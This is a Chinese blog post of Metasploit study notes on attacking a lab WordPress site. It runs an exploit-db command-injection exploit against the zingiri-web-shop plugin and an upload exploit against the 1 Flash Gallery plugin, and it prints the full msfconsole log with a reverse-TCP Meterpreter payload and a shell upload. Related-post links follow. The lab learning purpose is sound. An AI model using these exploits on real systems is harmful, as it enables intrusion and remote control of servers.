1.命令注入实例分析

对定V公司网站博客系统扫描可以发现,它们安装了zingiri-web-shop这个含有命令注入漏洞的插件,到www.exploit-db.com搜索,可以看到2011.11.13网站公布了php渗透代码。

把这个代码放到kali中,执行命令php 18111.php 10.10.10.129 /wordpress/成功得到目标主机Shell,并能执行相关命令

2.文件包含和文件上传漏洞

查看定V公司博客源代码可以发现后台使用了插件——1 Flash Gallery Wordpress Plugin。在exploit-db数据库中,已经有这个漏洞的利用模块了。拖到kali Metasploit的相关目录(/usr/share/metasploit-framework/modules/exploits/multi/browser),把模块重命名为flash_gallery_plugin.rb

示例代码如下

msf > reload_all

[*] Reloading modules from all module paths...

[!] The following modules were loaded with warnings:

[!]   /usr/share/metasploit-framework/modules/exploits/multi/browser/flash_gallery_plugin.rb: Please change the modules class name from Metasploit3 to MetasploitModule

_                                                    _

/ \    /\         __                         _   __  /_/ __

| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \

| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|

|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_

|/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\

=[ metasploit v4.17.3-dev                          ]

+ -- --=[ 1796 exploits - 1019 auxiliary - 310 post       ]

+ -- --=[ 538 payloads - 41 encoders - 10 nops            ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploits/multi/browser/flash_gallery_plugin

msf exploit(multi/browser/flash_gallery_plugin) > set RHOST 10.10.10.129

RHOST => 10.10.10.129

msf exploit(multi/browser/flash_gallery_plugin) > set RPORT 80

RPORT => 80

msf exploit(multi/browser/flash_gallery_plugin) > set URI /wordpress/

URI => /wordpress/

msf exploit(multi/browser/flash_gallery_plugin) > show options

Module options (exploit/multi/browser/flash_gallery_plugin):

Name     Current Setting  Required  Description

----     ---------------  --------  -----------

Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]

RHOST    10.10.10.129     yes       The target address

RPORT    80               yes       The target port (TCP)

SSL      false            no        Negotiate SSL/TLS for outgoing connections

URI      /wordpress/      yes       Path to Wordpress

VHOST                     no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name   Current Setting  Required  Description

----   ---------------  --------  -----------

LHOST  10.10.10.128     yes       The listen address (an interface may be specified)

LPORT  4444             yes       The listen port

Exploit target:

Id  Name

--  ----

0   Automatic

msf exploit(multi/browser/flash_gallery_plugin) > exploit

[*] Started reverse TCP handler on 10.10.10.128:4444

[*] HTTP POST: 10.10.10.128:42127-10.10.10.129:80 http://10.10.10.129/wordpress//wp-content/plugins/1-flash-gallery/upload.php?action=uploadify&fileext=php

[*] 10.10.10.129:80 - Successfully uploaded shell.

[*] 10.10.10.129:80 - Trying to access shell at ...

[*] HTTP GET: 10.10.10.128:34305-10.10.10.129:80 http://10.10.10.129/wordpress/

[*] Exploit completed, but no session was created.

出现一点问题,没能得到后台服务器的Meterpreter访问会话,先记录下来。

Metasploit学习笔记——Web应用渗透技术的更多相关文章

  1. Metasploit学习笔记——网络服务渗透攻击

    1.内存攻防技术 1.1缓冲区溢出漏洞机理 1.2栈溢出利用机理 1.3缓冲区溢出利用的限制条件 2.网络服务渗透攻击面 3. Windows服务渗透攻击实战案例——MS08-067安全漏洞 示例代码 ...

  2. Metasploit学习笔记——移动环境渗透测试

    书364页配置假冒AP步骤,因为没有无线网卡,先跳过这个实验.

  3. Android:日常学习笔记(9)———探究持久化技术

    Android:日常学习笔记(9)———探究持久化技术 引入持久化技术 什么是持久化技术 持久化技术就是指将那些内存中的瞬时数据保存到存储设备中,保证即使在手机或电脑关机的情况下,这些数据仍然不会丢失 ...

  4. java web Servlet 学习笔记 -3 会话管理技术

     Cookie和HttpSession 什么是会话: 用户开一个浏览器,点击多个超链接,访问服务器多个web资源,然后关闭浏览器,整个过程称之为一个会话. 每个用户在使用浏览器与服务器进行会话的过 ...

  5. Metasploit学习笔记——客户端渗透攻击

    1.浏览器渗透攻击实例——MS11-050安全漏洞 示例代码如下 msf > use windows/browser/ms11_050_mshtml_cobjectelement msf exp ...

  6. Python Web学习笔记之多道程序设计技术和操作系统的特性

    采用了多道程序设计技术的操作系统具有如下特性 : ① 并发性.它 是指两个或两个以上的事件或活动在同一时间间隔内发生.操作系统是一个并发系统,并发性是它的重要特征,操作系统的并发性指计算机系统中同时存 ...

  7. Metasploit学习笔记——情报搜集技术(只记录与metasploit有关的)

    1.外围信息搜集 1.1whois域名注册信息查询 示例代码如下 msf > whois testfire.net 1.2网站的目录结构 示例代码如下 msf > use auxiliar ...

  8. 《深入理解java虚拟机》学习笔记之编译优化技术

    郑重声明:本片博客是学习<深入理解Java虚拟机>一书所记录的笔记,内容基本为书中知识. Java程序员有一个共识,以编译方式执行本地代码比解释方式更快,之所以有这样的共识,除去虚拟机解释 ...

  9. Metasploit学习笔记之——情报搜集

    1.情报搜集 1.1外围信息搜索 1.1.1通过DNS和IP地址挖掘目标网络信息 (1)whois域名注冊信息查询(BT5.kali专有):root@kali:~# whois testfire.ne ...

随机推荐

  1. 1146. Snapshot Array

    Implement a SnapshotArray that supports the following interface: SnapshotArray(int length) initializ ...

  2. ElementUI 中 el-table 获取当前选中行的index

    第一种方法:将index放到row数据中 首先,给table加一个属性::row-class-name="tableRowClassName" 然后定义tableRowClassN ...

  3. 7 JavaScript函数调用&this关键字&全局对象&函数调用&闭包

    JavaScript函数有4种调用方式,每种方式的不同之处在于this的初始化 一般而言,在JavaScript中,this指向函数执行时的当前对象 如果函数不属于任何对象,那么默认为全局对象,即HT ...

  4. 四阶幻方-蓝桥杯-DFS

    答案:416 用next_permutation()全部排列的话会超时 所以用dfs搜索,只搜索前三行就好,前三行确定之后,第四行也就确定 #include<iostream> #incl ...

  5. Vim 入门使用

    参考资料:https://www.runoob.com/linux/linux-vim.html   本篇内容不全,其余内容请参考该链接 vim/vi 是Linux下常用的文本编辑工具,它基本上有三种 ...

  6. 第2节 Scala中面向对象编程:12、13、14、15、16、trait

    6.4.  Scala中面向对象编程之trait 6.4.1.    将trait作为接口使用 Scala中的trait是一种特殊的概念: 首先先将trait作为接口使用,此时的trait就与Java ...

  7. 实用类-<Math类常用>

    Math.random() //取0~1之间的随机数(不包括1) Math.max(数字1,数字2) //取两个数中最大的一个 Math.min(数字1,数字2) //取两个数中最小的一个 Math. ...

  8. 尝试实现一个简单的C语言string类型

    用过`C++/Java/python/matlab/JS`等语言后,发现都能很轻松的使用string类型,而C只能这样: char str[] = "hello world"; o ...

  9. selenium抓取淘宝数据报错:warnings.warn('Selenium support for PhantomJS has been deprecated, please use headless

    ssh://root@192.168.33.12:22/root/anaconda3/bin/python3 -u /www/python3/maoyantop100/meishi_selenium. ...

  10. Java连载80-数字类格式、随机数、BigDecimal

    一.数字类 1.关于数字格式化:java.text.DecimalFormat; 2.数字格式元素: # 任意数字 , 千分位 . 小数点 0 不够补零 package com.bjpowernode ...